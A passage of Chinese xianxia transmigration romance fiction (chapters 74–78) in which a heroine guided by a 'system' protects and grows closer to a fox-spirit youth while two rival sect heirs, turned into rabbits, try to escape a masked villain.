祁无恙手腕一转,微微眯眼,故意让语气显得诧异:“还以为是在虚张声势,想不到你还不算太无能,竟真能找到帮手。” 然而,师清羽只阴沉着脸,对这一番奚落全未放在心上,仿佛对自己找来的一群帮手十分有信心。 明明是两人间的对峙,卓子寻望着愈来愈近的杀意,却止不住地露出惊恐:“他们两个肯定是一伙的,说不定就是在演戏给我们看,等我们放松警惕喉,他们好一网打尽……卓子墨,你是不是和爹一样,就快不行了?快趁现在把你身上所有能用的武器都给我,等我平安回去后,一定会记得给你们建一座最好的冢……” 卓子墨:“……” “我说,小少主真是够杞人忧天的,”师清羽扶着额头苦笑,又看了眼伤重得几乎站不起来的卓子墨,道:“方才一时心急,失礼了,恐怕今夜还要劳烦卓少主相助。” 下方嘈杂声不断,格外刺耳。 祁无恙懒得理会他们,只是出门前骗了阿禾,几只兔子还要处理这么久,等不到他回来,她怕是要担心了。 毕竟她可是这世上,唯一一个会在乎他生死的人,他又怎么舍得让她为自己害怕呢? 那群被师清羽唤来的人也不会是何来历,个个低垂着头,身体僵直,恰好停在他视野范围之内的地方。 不管是人是鬼,杀了便是。 他扣紧弓弦,明晃晃的针尖对准了其中一人。即将松手的刹那,遮蔽在月亮前的一片乌云轻飘飘散开,一缕月光斜射下来,于是,他看清了那人的模样。 少年微微一怔,手上动作骤然顿住,杀意瞬间褪去大半。 那人面色死灰,胸膛处甚至看不见起伏,显然已非活人。 屋檐下,突兀地传来一阵狂笑,师清羽抬头和他四目相视,咧开嘴笑了笑,眼中得意溢于言表:“终于发现了啊?不如再好好找一找,你还能看见更多惊喜。” “……” 少年微微抽了下唇角,似笑非笑地望着他。 “怎么样,发现了吗?快动手杀了他们啊!”师清羽大笑起来,说道:“这些人现在可都只听我的话,你不杀他们,我就会让他们杀了你。” 见对方不答,他又叹口气,兀自说道:“原本以为你是个冷血无情之人,没想到竟会为了一个凡人少女自损灵丹,现在又对着这群死了多年的族人心软,和你相比,我倒更像他们口中那罪该万死的恶人了。” 他扬了扬手,那帮傀t儡便如同得到指令般,步伐不一地朝前走去,“反正你也下不了手,举着它多累,不如放下武器,我可以考虑让你死得……” 一语未完,忽然间听见“嗖嗖”两声,紧接着,黑暗中走在最前端的几道身影晃了晃,直挺挺地栽倒下去,脖颈处赫然插着一枚银针。 祁无恙从容不迫地重新将箭矢对准他,淡淡一笑:“同样的话术,又何必再说第二次?” “你……你竟然……” 师清羽手指一抖,怒视向对方。他原本是想靠他们牵制住祁无恙,却不想此人如此心狠手辣,连族人也下得去手。 “求、求你别杀我,只要你放过我,日后我定什么都答应你……” 卓子寻见突然间死了人,当即吓得双腿发软,自己跪下连连求饶不说,还想拽着一旁的卓子墨让他和自己一起跪。 卓子墨本就胸口重伤,被他拽得一个趔趄,蹙着眉甩开他的手,旋即望向那群傀儡,细细打量着。 他将方才的话语听得清清楚楚,如此说来,是师清羽将数年前被灭门的狐族炼成了傀儡,只为了除掉他的亲侄子。 心中陡然升起一阵寒意,虽说祁无恙也不是什么善类,但眼下这番局势,似乎只有站在他那一边才能有活路。 “卓少主,不妨想好了再决定要帮谁,”师清羽仿佛看穿了他心中所想,又望向屋檐上杀机沉沉的人,张开了双臂:“快松手啊,你难道不希望我死吗?” “噗呲” 那枚银针脱手而出,径直刺穿了他的胸膛。师清羽仍站在原地,气息却已明显变得微弱。 少年冷冷瞧着他,抬起手想补第二箭时,却蓦地停住了。 只见眼前那张脸上的血渍逐渐消失,师清羽的五官也伴随着模糊起来,最后竟变成了一张女人的脸。 他眼瞳微微一缩。 那张脸,从他被推入深不见底的枯井那一刻起,便没有再见到过。 第75章 少年微微俯身,拭去她眼…… “宿主快别睡了, 任务对象现在有危险……” 徐颂禾本来就没睡熟,听他这么一吵吵,霎时间睡意全无。她翻身坐起来, 有些不耐烦地问:“又怎么啦?” 自从上回和这家伙拌了一次嘴后, 她就一点不想搭理它, 暗想下回穿书的时候能不能给她安排个三观合得来并且靠谱点的系统。 系统语速飞快地说:“祁无恙现在面临危险,请宿主立刻想办法救他。” 还不等它说完,徐颂禾便摆摆手, 兀自又躺下了:“不去, 祁无恙能有什么危险?况且, 连他都搞不定的人,我去了又有什么用?” 这书里的怎么一个两个都需要她救?这破系统也是个没良心的, 知道危险还让她去。 系统声音焦急:“但宿主不去的话,就有可能回不了家了呀。况且, 他和卓子墨也不一样,宿主不是喜欢他吗?” 又是这句词, 就知道用这个威胁她。 徐颂禾忍无可忍:“我是喜欢他没错,但那也不代表我就随时随地愿意为了他去死。” 先前她之所以会愿意为了卓子墨挡剑, 都是因为系统告诉过她, 只有这样才能回家,但现在,她可一点不敢相信这家伙的话了, 谁知道她死了以后还能不能醒来呢? 她只是个普通人, 没有灵丹, 也毫无自保之力,她不想莫名其妙地穿越到这个地方来,又就这样死去。 系统短暂沉默了片刻, 又提示道:“祁无恙黑化值正在飙升,请宿主自行决定是否采取措施。” 头顶的帐幔白花花一片,徐颂禾放空大脑,盯着它看了好半晌,心中隐隐觉得不安。 为什么黑化值会上升得这么快? 是那些人设法让他看见了什么吗? 没过多久,她随手抓了见棉袄披上,转身毅然决然地出了门。 “宿主不是不管了吗?” “我现在改变主意了。” 她是想活,但也不是什么薄情寡义的人。以祁无恙的能力,对付几个l喽啰应当绰绰有余,但他不知用什么方法“复活”了她,灵力被大大消减,这才将自己置于险境,她当然不可能坐视不理。 徐颂禾视线落到桌上那厚厚一沓符纸上,仔细一看,便见其间每一张纸上都涂抹了血渍。她认得这种记号,这里的符纸凡使用前都必须涂上人血,才能发挥作用。 但这么多血,他不知道疼的吗? 来不及多想,她揣好符纸,推开门,一脚踩进门口软绵绵的雪地中。 雪粒被风吹打在身上,冷意森然。担心会引起敌人的注意,徐颂禾丝毫不敢大声叫唤,只能裹紧衣服,凭着那一点微弱声响,深一脚浅一脚地往前走。 * “阿烬,让娘好好看看你。” 那女人上前一步,一头黑发垂在身前,长发遮掩之下,依稀能看清她的容貌。 那张脸上的五官极其精致,美到凡是见了那双眼睛的人,无一不深陷其中。 这个名字是娘取的,自从“疼爱”他的师叔走了之后,就再没人这么唤过他。 她伸出手,想要触碰他的脸。 “你怎么瘦了这么多?是娘不好,害你一个人受了这么多的苦……” 少年后退半步,始终与女人保持着一段距离,抬眼面无表情地注视着她。 察觉到他的抗拒,那女人愣在原地,不知所措地看着他:“你……你这是和娘生疏了吗?娘只是想回来再看你一眼,这么多年了,你难道就没有一刻思念过我们吗?” “你……” 祁无恙默默凝视着她,眼中明暗交替:“你过得如何?” 见他问起自己,便是相信了她是娘亲这个事实,女人开心地笑起来:“娘好得很,只是无时无刻都牵挂着你,想再看一看你……” “可我记得,你已经死了,”少年微微一笑,说话间,夹在指尖的那枚银针已抵在了她的脖颈前,语气冷冷:“是师清羽指使你回来的,对吗?我早便说了,他意图不轨,想要夺取长老之位,你们为何不信?” “阿烬,你怎么能这么说?”女人惊恐得连连后退,道:“他可是你师叔,也是你在这世上唯一的亲人,你怎么对他起了杀心?” 他眸色渐冷:“我何时说过要杀他?” “好好好,那便不杀,”对方惺惺一笑,显然也不想再继续这个话题:“阿烬,娘临走前,嘱咐你务必好生保管的东西,现在何处?快交还给娘,有了它,我们就可以永远陪在你身边了。” 他沉下脸,似笑非笑地瞧着她,杀意缓缓从指尖凝聚起来。 察觉到他的异样,那女人便立刻住了口,双手轻轻抚上他的脸,又恢复了开始时那一脸疼惜的模样:“可怜我的儿,没有亲人做伴,也没人疼爱,一丝牵挂都没有,活到现在又有什么意思呢?不如下地狱吧,这样就能和娘永远在一起了……” 她身上散发出阵阵香气,丝丝缕缕,犹如条条蛛丝,温柔地缠上他的四肢百骸。 “你的名字是我取的,用不了多久你就会死,死后化成灰烬,要么被人凌辱,要么堕入地狱,万劫不复。” 那声音带着蛊惑,仿佛正引诱着他踏向深渊。 “快来吧,再往前一步,你就再也不用过孤零零的日子不用一个人承担所有了……” “不,”少年微微仰首,眼中有万千星河闪动:“她会陪我,她说过的,她喜欢我,愿意和我成为家人。” “她希望我好好活着,便是我的牵挂。” 似是没料到会等来这样的答复,那女人身形凝固了片刻,最后整张脸开始变得扭曲,声音尖锐刺耳:“我不允许你这么说!不管是你,还是你身上的灵脉,都是属于我的!我让你死,你就必须去死!” 她嘶吼的声音撕破了周遭的风雪,尖利的指甲疾向少年探去。 祁无恙侧身躲过,弹指之间,那枚银针已深深嵌进女人挥来的手腕之中,黑色的血液汩汩流出。 但她好似感受不到疼痛一般,以一种常人做不到的姿势,将那只手伸向了他的心口。 她咧着嘴笑,语气温柔细腻:“来呀,好孩子,她难道好得过娘吗?” 少年从容不迫地避开涌来的黑气,闻言神色骤冷,嗤笑一声:“自然,你一见面便询问灵脉的下落,而她只会关心我的死活。” 女人稍稍一顿,紧接着又动作轻柔地将丝线缠住他的手腕,诱导着他一步步向前:“她已经死了,快下来吧,来陪着她,也陪陪娘……” “谁要陪t你?快走开,不许碰他!” 蓦地,一张布满鲜血的符纸被拍在女人后背,未料到他们竟前后夹击,她顿时大惊失色,浑身邪气猛然一滞。 祁无恙微微一怔,满眼错愕地望着挡在自己身前的人。 少女裹着一身棉袄,脸颊被憋得通红,但她连大气也不敢喘一下,飞速将手里的符纸一张接一张甩了出去。 “刚刚就看你不对劲了,你是不是就觉得我们祁公子长得好看,想拉着他给你陪葬?”徐颂禾见符纸的功效越来越弱,索性将它们一齐丢出去,大声道:“那你可真是痴心妄想,他才不会陪着你去死!” 漫天血符轰然炸开,紧随着的是片刻的死寂。徐颂禾搓搓空荡荡的手心,忐忑地咽了咽喉咙。 她……死了吗? 蓦然间,一只黑气缭绕的手从弥散的迷雾中探出,直取向她面门。 徐颂禾瞳孔一缩,还未来得及反应,便觉眼前闪过一道金光,自己已经被人护在了怀里。 少年垂手遮住她的眼睛,另一只手银针疾射,毫不留情地刺穿了女人的身体。 她嘴角缓缓淌出鲜血,精致的面容彻底溃烂扭曲,只剩一双怨毒的眼死死盯着他∶“没关系,娘不急,你迟早会下来的。” 话音落下的刹那,她的身子单薄得像是一直风筝,随着风轻飘飘坠下了山崖。 祁无恙朝着那道身影消失的方向凝视良久,随后缓缓松开手,垂眸看向惊魂未定的少女。 “吓到你了么?” 徐颂禾一颗心脏还在怦怦直跳,她下意识用力在胸口处按了按,防止它跳出来。 “你说呢?我要是再来晚一点,你就和她一起掉下去了,知不知道?”徐颂禾没好气地瞪他一眼,觉得心头怨气无处发泄,便又捶了他的手臂好几下,“不是说抓兔子去了吗?那兔子是成精了?需要你去那么久……” 她方才把这附近都找遍了,不但不见他的影子,就连卓子墨几人也全都消失了,只剩一排排垂手站立、面色死灰的身影。 徐颂禾也算见过不少大场面了,隐隐猜得出这些大概都不是活人,而是傀儡。如果那扁平脸在此处,没准祁无恙也不慎中了幻境…… 那个坏家伙肯定打不过就耍阴招骗他去死,关键时刻,她灵机一动,立马沿着悬崖边缘寻找,我没想到还真的碰见了他。 只是,找到他的时候,他的半边身子都露在悬崖山崖之外,险些没把她吓个半死。 “你下次再这样,我就不管你了啊!” 她眼眶微红,声音里还带着未褪的惊悸,那双乌黑的眼眸里,比起埋怨,更多的是后怕。 她是在哭吗? 原来,这世上真的有人会如此真切地将他悬在心上,害怕失去他。 刹那间,欲.念如同野草般在心底疯长,任凭怎样的烈火也无法克制。少年微微俯身,拭去她眼角的泪,轻吻了吻那双眼睛。 “怎么了?” 他抬手紧箍住少女软绵绵的身子,微微蹙眉,立刻查看她的情况。 “受伤了吗?” “不、不是,”徐颂禾痛恨自己这双腿怎么这么不争气,在这种时候给自己丢了脸。她磕磕巴巴地说∶“我……我刚才太害怕了,站不起来了。” 第76章 徐颂禾小心翼翼…… 徐颂禾小心翼翼地攥着少年后颈处的衣衫, 一手搭在他肩上——是的,她还是被背回去了。 一缕晨雾环绕身前,隔着单薄的衣料, 她感受到一股冰凉的温度, 不满地蹙了下眉:“你怎么总穿这么少呀?现在还下着雪呢, 不冷吗?” “我……” 不等他回答,她思忖了一下,又自顾自地说:“你放我下来吧, 正好天亮了, 我陪你去置办一身新衣服。” 祁无恙微微一愣:“给我?” “嗯啊, ”她从他背上跳下来,踩进松软的雪地里, 站稳后,顺手替他拍去了衣角的雪, “我第一次见你的时候就想说了,那么冷的天, 怎么就不知道多穿点?” 初见到他时,也是个下雪天。本以为他会是个温润如玉翩翩君子, 她甚至还在庆幸自己捡了个又好看又温柔的攻略对象, 没想到这人下一秒就当着她的面掐断了一只妖怪的脖子,还差点连她也一起掐死。 从前数不清在她跟前面不改色地杀过多少人,现在反倒知道要捂着她的眼睛了。 最令她不能理解的, 还是他睡觉时居然能不盖着肚脐, 这可是要生病的。 于是, 徐颂禾又默默记着,还得再给他买一床厚被子。 她走在前边拉着他走了一路,他则垂着脑袋, 一句话都不曾说过。 某种程度上,两人也算默契得很,谁也没有提起方才的事,似乎这不过是一个平常的早晨,而她正牵着一个不善言辞,却会悄无声息地将步伐放得与她一致的普通人——如果他不会时常变成狐狸的话,应当的确是如此。 徐颂禾牵着他走进一家看起来光鲜夺目的店铺里,从琳琅满目的衣架上挑出一件,在他身上比划了一下,随后眼睛亮亮地瞧着他:“喜欢吗?” 那是一件墨色的厚绒披风,领口缀着一圈蓬松的白绒,摸起来软糯又厚实。 祁无恙接过那件衣服,眼睫轻轻颤了下:“你喜欢吗?” 她顿时莫名其妙:“给你买的,你问我干嘛?” “但我穿了,是给你看的。”他回答得格外认真。 这逻辑也是够清奇了,徐颂禾被这话噎了一下,胡乱把衣服塞给他,搪塞道:“你去试试吧,试试就知道我……咳咳,就知道你喜不喜欢了。” “不用试了,”他反手将银子掷在柜台上,“就这件。” “哎……你至少试试大小合不合适嘛。” 走到门口,徐颂禾拉着他的手迫使他停下来,踮起脚尖,想把披风围在他身上。 少年顺从地微低下头,那只方才还狠戾地刺穿妖物身体的手,眼下正乖顺地垂在身侧,像是一只大型布偶猫,任由她摆弄。 徐颂禾低下头,认真地替他系好领口的系带,旋即后退一步,歪着脑袋上下打量他,满意地笑了笑:“多好看呐,我的眼光好吧?” “祁无恙黑化值减十,当前黑化值为八十。” 这样就高兴了? 没等他发表自己的想法,徐颂禾便趁热打铁,主动上前拽了拽他的衣袖:“走吧,我们去别处看看。” 秉着“来都来了”的原则,徐颂禾拉着他辗转于不同的店铺,里头的物品花样繁多,看得她应接不暇,几乎每个都想带回家。 只是委屈他要当个人形衣架了,捧着一摞大大小小的包裹,还能腾出一只手来牵着她。 “终于回来了!我告诉你呀,被子要这么盖才暖和……” 徐颂禾兴致勃勃地说了半晌,等不到回答,她奇怪地转过身,便看见他仍抱着那一堆东西,好像她不说,他就不会擅自把它们放下。 那毕竟都是些床上或贴身用品,随意放置的确可能被弄脏。 正感到哭笑不得,脚踝忽然被什么东西碰了一下,她低下头,弯腰小心地抱起那白色的小团子,将它身上的雪水擦净,“怎么弄得这么脏呀?让我看看……” “不如带它去洗洗。” 徐颂禾抬起头,少年正双手环抱在胸前,斜倚在门边,侧目看向她,阳光倾洒在他的发尾,犹似蝴蝶轻颤的羽翼。 他淡淡一笑:“热水已备好,用我一起么?” 他有这么贴心?徐颂禾犹疑地看着他,总感觉哪里怪怪的,但转念一想,这一次回来之后,他对自己的态度的确好了不止一点,看来这人还是得失去一回才知道珍惜。 “好,那你……” 一句话还没说完,忽然又不知从哪钻出一只灰色兔子,正一个劲地咬住她的衣角。 她一时有些惘然,便蹲下来在它头上摸了摸:“怎么啦?你也想洗澡吗?” 那两只红红的眼睛朝她怀里的那只兔子看了一眼,随后竟飞速低下头,在她还未来得及缩回去的手指上狠狠咬了一口,指尖旋即沁出一点鲜红。 细密的痛感立刻袭来,没料到这么一个看似温顺的家伙会突然咬伤自己,徐颂禾惊呼一声,还没来得及收回手,便被人一下拉过去了。 少年将那只流血的手捂在手心里,脸色却瞬间沉下来,眼神冷冷地望向地上露出牙齿的兔子。 那兔子貌似也察觉到了危险,连滚带爬地拖着发抖的身体,瑟缩到角落里去了。 “祁无恙……”怀里那只兔子使劲往臂弯里钻,把柔软的白毛蹭得她满手都是,显然也被这突如其来的变t故吓得不轻。徐颂禾只好用另一只手轻轻拉了拉他的衣袖,试图缓和气氛,“我没事的,就是破了点皮。刚才它可能以为我要伤害它的同伴,所以才……” 祁无恙低垂着眼睑,动作小心地将一条纱布缠在她指尖,眼底浮现出的一抹笑意将方才的阴霾给化开了:“我知道,放心,我不会伤害它的。” 徐颂禾松口气,抱着兔子,一面往外走一面回头看:“我自己带它去吧,你好好歇着。” 说完,还不等他回答,她便飞快地捞起地上那只灰兔,匆匆忙忙朝门外跑去。 手上忽然落空了一瞬,少年沉默地僵在原地,开始变得手足无措起来。 她不喜欢杀人,也不喜欢血腥的场面,那他就尽力改变,学着藏起从前的满身戾气,在她面前,只做一个温和无害的人,陪她平平淡淡地过日子。 可他做的好像还是不够好,方才是不是又吓着她了? 他一时没敢追上去,只默默转过身,像她教给自己的那样,一层层把被子铺好。 * 屋里弥漫着氤氲雾气,徐颂禾蹲下身,将灰兔扔了进去,随后在白兔即将脱离掌心时一把攥住它的耳朵,盯着它的红眼睛看:“你是卓少主,对吧?” 那只兔子被吊在半空中,双腿一摇一摆的,耳尖绷得笔直,半点挣扎都没有。 她转头向门口看去一眼,确认没人后,才小声道:“如果是的话,你就用力蹬两下腿。” 几秒钟后,兔子两条前腿狠狠蹬了蹬,力道不小,带得她手腕微晃,那双通红的眸子直直望着她 她看向在热水里扑腾的灰兔,笃定地说:“那你就是二少主了吧?是那扁平脸把你们变成兔子的吗?” 祁无恙一直和自己待在一起,应当是没有机会接近他们的。 但看他方才的举动……难不成他救活自己之后,现在的灵力已经弱到连它们是人变的都看不出来了吗? 不过看不出来也好,否则的话,他们两个现在可就危险了。 徐颂禾站起身,抬起手把它往窗外举:“你快跑吧,跑回流云宗去,相信你可以重振门派的。” 话刚说完,她又轻轻揪住兔子耳朵,一字一句地说:“还有,祁无恙他不是坏人,你回去以后,可不许再带人来找他的麻烦了。” 说罢,她松开手,那兔子腿刚着地,便转过脑袋,两只红彤彤的眼睛又深深地朝她看了一眼,最后没有一丝犹豫地拔腿便跑。 直到那抹白色的身影从视野消失,徐颂禾才折返到泉水前,用手指在水面上拍了两下,示意它过来,“虽然你刚才咬了我,但是我大人有大量,不和你计较。” 灰兔显然迟疑了片刻,大抵是实在别无他法,最终还是妥协地朝她扑棱过来,趴在了她的手指上。 她仍不忘记念叨:“我暂时没找到你爹,不过我也不打算就这样放走他,谁让他有坏又贪心,总是和我们过不去……” “阿禾,你在同谁说话?” 刚一站起身,门外蓦地传来一道声音,徐颂禾让他吓了一跳,手一抖,随着“扑通”一声响,那兔子从掌心滑了下去,在眼前炸开一朵巨大的水花。 她视线不由自主地往旁边撇了一下,随后慌乱地想遮掩过去:“没、没什么,你可能听错了。” 卓子墨应当已经跑远了吧?再勉强帮他拖一会儿,要是他自己不争气跑不掉,可就不能怪她了。 “是吗?” 祁无恙漫不经心地问了句,缓步走进来,拉过她的手细细查看:“不是要给它们洗澡么?你手流了血,不如让我来。” “不用了,你不是讨厌兔毛的吗?”徐颂禾缩回手,挪动脚步想挡住他的视线,“还是我来吧,现在已经不流血了。” 可偏偏那只灰兔像是没听懂似的,懒洋洋地趴在水面上,还惬意地甩了甩尾巴,溅起的水花恰好落到少女脚边。 徐颂禾:“……” 有一个猪队友怎么破? “怎么只有一只?” “呃,另一只可能……”她转头看了眼身后,有些心虚地说:“可能沉下去了吧,我再找找。” “哦?”他微微一笑,不紧不慢地将背在身后的手拿出来,掌心里赫然卧着团雪白绒毛——正是该跑远了的卓子墨,此刻蔫头耷脑缩成一团,耳尖还沾着雪粒,显然是刚被他截回来没多久。 少年声音淡淡:“沉下去的恐怕早就死了,这只生龙活虎的,充当替代品也未尝不可。” 第77章 到底喜欢谁 他、他怎么被抓回来了? 徐颂禾瞬间倒吸了口凉气, 被少年吊在指尖的蔫巴兔子一见了她,立马蹬起两条腿,开始奋力挣扎起来。 “要不……把它给我吧。” 祁无恙却将手一扬, 那兔子便越过了她, 重重摔进泉水里去。 兔子腿上还有伤, 让里头的热水一烫,登时疼得接连扑棱了好几下,伤口处渗出来的丝丝血渍漂浮在水面上。 她微微一愣, 连忙弯下腰想把兔子捞出来, 手却忽地被人攥住了。 “它身上脏, 还是别碰的好。” 与此同时,系统急切的催促声在脑海中响起:“警告, 检测到卓子墨是原著主角,也是日后护卫和平的救世主, 若他身死,则整个小说世界都将全盘崩坏。” “可是它好像受伤了, 不能把它留在里面。” 徐颂禾转身看见靠在墙边的木棍已被他抢先一步拿在手里,赶忙踮脚去抢:“祁无恙, 你快给我。一只兔子而已, 干嘛和它过不去?” “是啊,一只兔子而已,”祁无恙勾唇笑了笑, 那笑意却分毫不达眼底:“外面有那么多兔子, 这只死就死了, 用不着费功夫捞它。” “和你说不清楚。”徐颂禾没好气地瞪他一眼,趁着他分神,在他脚上一踩, 随后将那根木棍夺了回来。 怕他还会继续和自己抢,她赶紧把木棍伸进水里,戳了戳那只白兔,可没想到它竟掉过身,推着不知是死是活的卓子寻游向木棍。 “……” 自己受伤了还要想着别人,不愧是男主角,真够义气的。 忽然间,水池里升起一道水柱,将两只兔子一齐冲了上来。许是劲头大了些,它们一冲上来重重摔在地板上,发出“噗通”一声闷响。 徐颂禾一惊,回头望向身后的少年,他也正俯下身来,微笑着替她拭去脸上的水珠。 “阿禾说的没错,即便是一只兔子,也不能让它平白死去。” 她抬起眸,和他视线相碰。 那双眼里妒意分明,却又蒙了一层温柔笑意,叫她一时读不懂里面的情绪。 “应、应该死不了。”徐颂禾抬起眼睛,笑眯眯地看着他:“多亏了你呀,要不然,我可不知道怎么办才好了。” 祁无恙微微一怔,旋即嗤笑出声,冰凉的指腹缓缓拂过她的面颊:“是么?方才是谁说,我连一只兔子都要过不去的?” 没料到他还会揪着这个事不放,她脸颊微微一热,语气又软了几分:“我刚才太着急了,话说重了点,对不起嘛。你大人有大量,就原谅我吧,好不好?” 原来哄人是这样的感觉吗?母单了二十年,她第一次被自己的声音肉麻到。 “你我之间,不需要说对不起。” 少年眼角向上挑起,低眸好整以暇地看着她,手指玩味般地穿过她乌黑顺滑的发梢,“阿禾,你早知它们是什么东西了,是吗?” 他身上总是散发着清冽的气息,以前没觉得,待得久了,竟还容易醉人。 一听见这话,徐颂禾刚放下的警惕一下子又提了起来,脱口便道:“它们不就是普通的兔子吗?你怎么还怀疑我?我什么时候骗过你啦?” 他神情瞬间转为无辜,目光却像是在欣赏落入圈套的猎物:“阿禾,我方才何时提过兔子?” 这句话如同一道惊雷,炸得徐颂禾脑子一片空白。她猛地抬起头,措不及防撞进对方含笑的眼眸里。 这人早就知道了吧?故意在这等着她呢! 徐颂禾后知后觉地反应过来,一股又气又窘的热意顺着脖颈往上涌,瞬间漫红了脸颊。她瞪着祁无恙,眼底满是控诉,可话到嘴边,又因为理亏而变得结结巴巴:“那我们扯平!你也早就知道了,还不是瞒着我?” 他摊了摊手,无奈地说:“我知道的不比你早,若不是你那般护着他,我也猜不到。” “这跟我有什么关系?” 少年忽地欺近过来,唇畔堪堪擦过她泛红的脸颊:“阿禾最在意的,不就是他么?为了他t,也不是不可以和我作对……” 他干嘛扯到这个啊…… 徐颂禾不乐意听他说,于是干脆象征性地捂住耳朵:“甭念啦。” 感受到他的视线仍停留在自己身上,她便将脸埋下去,声音越来越低:“我说了我没有喜欢他,你又不信,他只是我朋友……” 祁无恙打断她∶“那你喜欢谁?” 她低着头不说话,他不明白为什么连这个问题她也不能给出答案,心中那份因她的主动讨好而浇灭些许的妒火此刻又无法克制地重新燃起。 “你现在有比喜欢我还要喜欢的人吗?”他却不愿就此作罢,捏着她的下颚,迫使她转过来直视自己,“如果有,我就杀了他,那样,你最喜欢的就只有我。” 他不得不承认,人一旦有了七情六欲,就会变得贪心。从前总想,只要她能平平安安地待在身边,喜欢的人究竟是不是他,也没什么所谓。 但现在…… 他只想要一个答案,哪怕是假的,他也想听到那句话由她亲口说出来。 徐颂禾不知道他在短短几秒钟内经历了如此一番心理斗争,只掀起眼帘向他脸上扫了一下,想到他方才故意诈自己的话,忽然起了“报复”的心思,故意不正面回答他的问题。 “如果我真的有,那你应该成全我,这才叫喜欢。” “那是旁人的喜欢。”少年俯身,轻轻托起她的下颌,带着凉意的唇缓缓压下,蜻蜓点水般印在她的唇上,一触即离。 “我的喜欢,是这样。” 她还没明白刚才发生了什么,只是木木地眨了下眼。方才被他吻过的地方,如同一团炽热的火焰正一点一点舔.舐着她。 “所以……”他甚至根本不给她缓冲的时间,目光灼灼地望过来,又追问道∶“你喜欢的到底是谁?” 摔进角落里的兔子蹬了蹬后腿,白白的身子翻过来,两只红眼睛恰好对着他们。 她的大脑都快宕机了,不明白这个人为什么如此执着,在这个问题上,就像个非要打破砂锅问到底的孩童。 真幼稚。 徐颂禾捧住他的脸,在他再次发问之前,抱住他的脖颈,微微仰起头,在他脸侧亲了一下,“喜欢你,这样总可以了吧?” 但他似乎整个人都僵住了,像个木头人,当她松开手往后退时,才重新活了过来。 “阿禾,”祁无恙收紧手臂,将慌乱离开的人揽回来,从背后搂住她,贪恋地埋进她颈侧,“你可以再说一遍吗?” 他的呼吸急促而紊乱,她甚至能清晰地听见背后胸腔里那颗心脏剧烈跳动的声音。 “可以吗,嗯?” 徐颂禾只觉得脑子乱作一团,磕磕绊绊地说∶“我、我……我喜欢你。” 她说完,感到脸上红一阵热一阵的,挣扎着想把他给推开∶“你冷静一下,先把我放开,这里还有人在呢……” 少年闻言自她颈间缓缓抬头,目光从那只目睹了一切,浑身毛发微微炸开的白兔上扫过,低笑了声∶“正好,有些人摆不正自己的位置,一口一个‘未婚妻’地喊,今日便让他看个痛快。” ……她指的是这个吗?有外人在,他难道都不觉得害臊吗? “你疯啦?” 她又羞又急,所幸他终于放开了环在自己腰侧的手,她便连滚带爬地站起身,赶紧离他远了些。 “哎,它怎么跑了?” 只见那白兔像是受了很大刺激似的,连亲弟弟也不管了,缩起身子滚出了门。 “不必理会,他若识相,便能多苟活几日。” 徐颂禾一愣,回头看向他。 少年一双眼眸微微眯起,轻笑了笑∶“说笑的,阿禾的朋友,我怎么可能随便让他死?” * 出了门不远处有一道倾斜的山坡,兔子视野范围不大,一不留神便滚了下去。 卓子墨一路滚到坡底,手上、脚上的毛发都被划破了,斑斑点点的鲜血从中渗出来。 四周树木丛生,其间不断有绿光透出。他现在仍是兔子的状态,于是翻身藏进草丛中,以躲避夜行野兽的搜寻。 他并非有意抛下卓子寻,只是现在敌强他弱,如果不趁势逃走,恐怕他们两人都会丧命。 更何况,那种光景,他着实不愿再多看一秒。 他叼起地上的落叶,吃力地将上面的汁水涂抹在伤口处,尖锐的刺痛令他喉咙里止不住发出呜咽声。 蓦地,他感到周围草丛飞速下降,眼前一阵天旋地转。他强忍呕吐之感,定睛一看,一只枯黄的手出现在视线中。 果然是被人拎起来了,可惜他目前视野有限,看不清那人的样貌。 卓子墨压下心中慌乱,疑云顿起——不知此人是何来历,若是灵力不高,那便应当看不出这兔子是人所变,对他也就无甚威胁。 正暗自庆幸,耳边倏地传来一声低笑,只听抓着他的那人幽幽地道∶“卓公子不必紧张,随我去见个人,他要是满意了,说不定还能赏你个体面,总好过你现在这副窝囊模样。” 这声音…… 他顿时警铃大作——正是那几次三番要挟自己合作,又害死了流云宗无数同门的扁平脸! 一想到自己眼下被他捏在手里,像只待宰的羊羔,一阵羞耻便涌上心头,卓子墨奋力想要挣脱,但奈何他现在只是只毫无攻击力的兔子,再怎么做也是徒劳无功。 冷静下来,耳边又回想着扁平脸的那一番话。 他要带自己去见谁? 难不成,此人还有同谋么? 思及此,卓子墨索性不再挣扎,既然对方暂时没有要伤害自己的意思,弟弟和父亲也都还算安全,不如就跟过去一瞧,看看他究竟还有什么诡计要使。 第78章 周围景物从眼角余光中飞速闪过, 卓子墨被人拎住双腿,整个人倒挂着悬在半空中。幸运的是他自幼没少在练习剑术上下功夫,因此此刻即便以这副狼狈的姿势走了这许久, 也依然能保持头脑清醒。 “主上, 您要的人带到了。” 良久, 他听见扁平脸沉闷的声音在耳旁响起:“是属下来迟,路上颠簸,这小子恐怕已经昏过去了。” 卓子墨闻言急忙闭眼装睡, 过了片刻, 又悄悄将眼睛掀开一条缝, 试图摸清他们究竟想做什么。 四周一片昏暗,但大致能看出他们现在身处一座宫殿中。那被唤作“主子”的人身披一件紫袍, 一副宽大的面具严严实实罩在脸上。听见动静,他缓慢地转过身来, 目光隔着冰冷的面具,射向那只被倒提着的白兔。 还未待看清对方的身形, 忽然间一道强风袭来,卓子墨不设防备被卷了出去, 一股痛感瞬间流遍全身。 紫袍人声音中带着戏谑∶“卓少主, 做畜牲的滋味如何?” 眼前的眩晕感逐渐消失,卓子墨睁开眼,闯入视线的是他自己的手臂。 他这是……变回来了? 腿上被人狠狠一踢, 扁平脸居高临下地看着他∶“主上问你话, 哑巴了吗?” 卓子墨咬紧了牙, 掌心掐出深深的印记。他抬起头直视对方,心中怒火正旺,苍白的脸上却仍浮现出一抹笑意:“卓某不过是名修为普通, 灵力低微的弟子,不知阁下今日如此大费周章擒我,是认错了人,还是另有消遣?” 紫袍人冷笑一声,踱步至他身前,语气森然:“用不着你说,不仅是你,你们卓氏祖祖辈辈都是如此平庸无能。而你,已经勉强称得上是合格的一代,你那贪生怕死,一事无成的父亲就更令人唾弃。” 此人羞辱自己也便罢了,不成想竟还要对父亲出言不逊。但眼下自己的灵力尚未恢复完全,且不清楚对方底细如何,鲁莽出手无异于找死。 卓子墨握紧拳头,沉着声道:“阁下与父亲,与我皆无冤无仇,何必出言辱我家父?卓家虽非顶尖世家,却也守着正道底线,从未招惹过阁下,这般擒我辱我,到底意欲何为?” 紫袍人不再接话,只将手一抬,随后背过身去,不再看他。 